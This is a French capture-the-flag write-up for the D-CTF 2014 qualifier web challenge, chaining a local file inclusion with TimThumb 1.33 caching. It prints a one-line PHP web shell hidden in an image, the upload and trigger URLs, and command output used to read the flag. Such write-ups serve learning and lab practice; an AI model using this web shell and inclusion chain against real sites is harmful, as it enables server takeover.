Outils d'utilisateurs

Outils du Site


dctf_qual_2014:web300

D-CTF 2014 Qualifications : WEB300

On repère une LFI :

http://10.13.37.13/?page=/etc/passwd

En regardant la source de la page on constate que les images sont chargées via un script PHP nommé tt.php.
En cherchant un peu on se rend compte qu'il s'agit de TimThumb 1.33.

Une petite recherche pour trouver un exploit : http://www.exploit-db.com/exploits/17602/
Mais il est dit pour ce sploitz : “Version 1.33 did not save the cache file as .php”.
Ok on note ça et on s'en occupe après ;)

On exploit donc TimThumb afin d'upload une image contenant un shell PHP.
Pour ce faire il faut savoir que seulement quelques domaines sont autorisés, les voici :
'flickr.com','picasa.com','blogger.com','wordpress.com','img.youtube.com','upload.wikimedia.org','photobucket.com'

Je prends une image et j'y ajoute ce bout de PHP en fin de fichier :

<?php echo shell_exec($_GET['c']); ?>

Je me crée alors un compte flickr afin d'y déposer mon image.
Je récupère le lien, disons

http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png

Maintenant il faut upload cette image, ça se fait via cette URL :

http://10.13.37.13/tt?src=http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png

Le lien créé pour accéder en direct à notre image fraichement envoyée sera le suivant :

http://10.13.37.13/cache/external_c16158604ce9d16fa83955d4fbd4ff39
où
c16158604ce9d16fa83955d4fbd4ff39 == md5(http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png)

Rappelons-nous de la LFI rencontré au début, nous allons l'utiliser pour faire exécuter le PHP inséré dans l'image :

http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=pwd

Hop on voit bien le chemin d'accès qui s'affiche, donc notre PHP est bien exécuté.

Listons le répertoire :

http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=ls -alh
nous donne : 
drwxr-xr-x 6 root root 4.0K Oct 12 12:36 .
drwxr-xr-x 3 root root 4.0K Oct 12 12:35 ..
-rw-r--r-- 1 root root   12 Oct 12 12:09 575b3f3f5318b2afbfe91ed860a4b10c.txt
drwxrwxrwx 2 root root  60K Oct 18 19:17 cache
-rw-r--r-- 1 root root 2.7K Oct 12 12:08 contact.html
drwxr-xr-x 2 root root 4.0K Aug 29 12:19 css
-rw-r--r-- 1 root root 2.9K Oct 12 12:04 home.html
drwxr-xr-x 2 root root 4.0K Aug 29 12:19 images
-rw-r--r-- 1 root root  180 Oct 12 12:03 index.php
drwxr-xr-x 2 root root 4.0K Aug 29 12:19 js
-rw-r--r-- 1 root root  21K Jul 31  2011 tt.php

Tiens tiens, regardons ce qui se trouve dans le fichier 575b3f3f5318b2afbfe91ed860a4b10c.txt :

http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=cat 575b3f3f5318b2afbfe91ed860a4b10c.txt
nous donne : 
johnnybravo

Voilà, le flag est johnnybravo.


Par Krach (contact{at}krach{dot}me)


dctf_qual_2014/web300.txt · Dernière modification: 2017/04/09 15:33 (modification externe)